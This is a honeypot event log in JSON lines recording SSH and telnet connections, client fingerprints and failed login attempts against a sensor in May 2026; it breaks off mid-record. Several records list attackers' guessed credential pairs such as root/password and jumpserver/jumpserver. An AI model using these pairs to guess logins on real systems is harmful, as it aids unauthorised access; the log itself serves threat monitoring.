{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:00.335201Z","src_ip":"83.111.76.195","session":"c2f9e4db694d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.59956192970276,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:00.923726Z","src_ip":"152.42.224.71","session":"8fa2f19903b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55640,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c46acb369ef","protocol":"ssh","message":"New connection: 45.156.87.204:55640 (159.203.135.109:22) [session: 4c46acb369ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:02.071105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:02.077278Z","src_ip":"45.156.87.204","session":"4c46acb369ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:02.160384Z","src_ip":"45.156.87.204","session":"4c46acb369ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:02.411427Z","src_ip":"45.156.87.204","session":"4c46acb369ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.601566314697266,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:02.824717Z","src_ip":"152.42.224.71","session":"f919f327979a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00264358520508,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:03.421101Z","src_ip":"152.42.224.71","session":"3a61089d5316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:03.504176Z","src_ip":"45.156.87.204","session":"4c46acb369ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":59564,"dst_ip":"159.203.135.109","dst_port":22,"session":"a912fb8f0292","protocol":"ssh","message":"New connection: 170.106.151.211:59564 (159.203.135.109:22) [session: a912fb8f0292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:04.342591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:04.347484Z","src_ip":"170.106.151.211","session":"a912fb8f0292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:04.416927Z","src_ip":"170.106.151.211","session":"a912fb8f0292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456!","message":"login attempt [root/Admin@123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:04.728054Z","src_ip":"170.106.151.211","session":"a912fb8f0292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56236,"dst_ip":"10.17.0.5","dst_port":23,"session":"397f2c8455a2","protocol":"telnet","message":"New connection: 152.42.224.71:56236 (10.17.0.5:23) [session: 397f2c8455a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:05.161957Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55258,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae264adb68c1","protocol":"ssh","message":"New connection: 45.156.87.204:55258 (159.203.135.109:22) [session: ae264adb68c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:05.663612Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:05.800493Z","src_ip":"170.106.151.211","session":"a912fb8f0292","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:05.817859Z","src_ip":"45.156.87.204","session":"ae264adb68c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:05.824814Z","src_ip":"45.156.87.204","session":"ae264adb68c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:06.257048Z","src_ip":"45.156.87.204","session":"ae264adb68c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48756,"dst_ip":"159.203.135.109","dst_port":22,"session":"abd20be72e33","protocol":"ssh","message":"New connection: 62.133.62.83:48756 (159.203.135.109:22) [session: abd20be72e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:06.459967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:06.464594Z","src_ip":"62.133.62.83","session":"abd20be72e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.613314628601074,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:06.469205Z","src_ip":"152.42.224.71","session":"4ca384f30f05","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:06.543483Z","src_ip":"62.133.62.83","session":"abd20be72e33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14725836","message":"login attempt [root/14725836] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:06.779340Z","src_ip":"62.133.62.83","session":"abd20be72e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:07.341605Z","src_ip":"45.156.87.204","session":"ae264adb68c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:07.860598Z","src_ip":"62.133.62.83","session":"abd20be72e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39290,"dst_ip":"10.17.0.5","dst_port":23,"session":"424628c43f35","protocol":"telnet","message":"New connection: 152.42.224.71:39290 (10.17.0.5:23) [session: 424628c43f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:08.481142Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55268,"dst_ip":"159.203.135.109","dst_port":22,"session":"5122054f56c5","protocol":"ssh","message":"New connection: 45.156.87.204:55268 (159.203.135.109:22) [session: 5122054f56c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:09.548246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:09.557427Z","src_ip":"45.156.87.204","session":"5122054f56c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:09.639526Z","src_ip":"45.156.87.204","session":"5122054f56c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:09.887173Z","src_ip":"45.156.87.204","session":"5122054f56c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:10.977268Z","src_ip":"45.156.87.204","session":"5122054f56c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.145182371139526,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:12.388669Z","src_ip":"152.42.224.71","session":"82735ed84163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45484,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fe448590a50","protocol":"ssh","message":"New connection: 45.156.87.204:45484 (159.203.135.109:22) [session: 8fe448590a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:13.141519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:13.145857Z","src_ip":"45.156.87.204","session":"8fe448590a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:13.227836Z","src_ip":"45.156.87.204","session":"8fe448590a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:13.478718Z","src_ip":"45.156.87.204","session":"8fe448590a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:14.564594Z","src_ip":"45.156.87.204","session":"8fe448590a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56142,"dst_ip":"159.203.135.109","dst_port":22,"session":"bec492bd74da","protocol":"ssh","message":"New connection: 89.223.69.22:56142 (159.203.135.109:22) [session: bec492bd74da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:14.645959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:14.651589Z","src_ip":"89.223.69.22","session":"bec492bd74da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:14.764228Z","src_ip":"89.223.69.22","session":"bec492bd74da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"microlab","message":"login attempt [root/microlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:15.107234Z","src_ip":"89.223.69.22","session":"bec492bd74da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45378,"dst_ip":"10.17.0.5","dst_port":23,"session":"e037f4b8cb69","protocol":"telnet","message":"New connection: 152.42.224.71:45378 (10.17.0.5:23) [session: e037f4b8cb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:16.190070Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:16.222356Z","src_ip":"89.223.69.22","session":"bec492bd74da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45486,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d8242bf264","protocol":"ssh","message":"New connection: 45.156.87.204:45486 (159.203.135.109:22) [session: 77d8242bf264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:16.929929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:16.974385Z","src_ip":"45.156.87.204","session":"77d8242bf264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2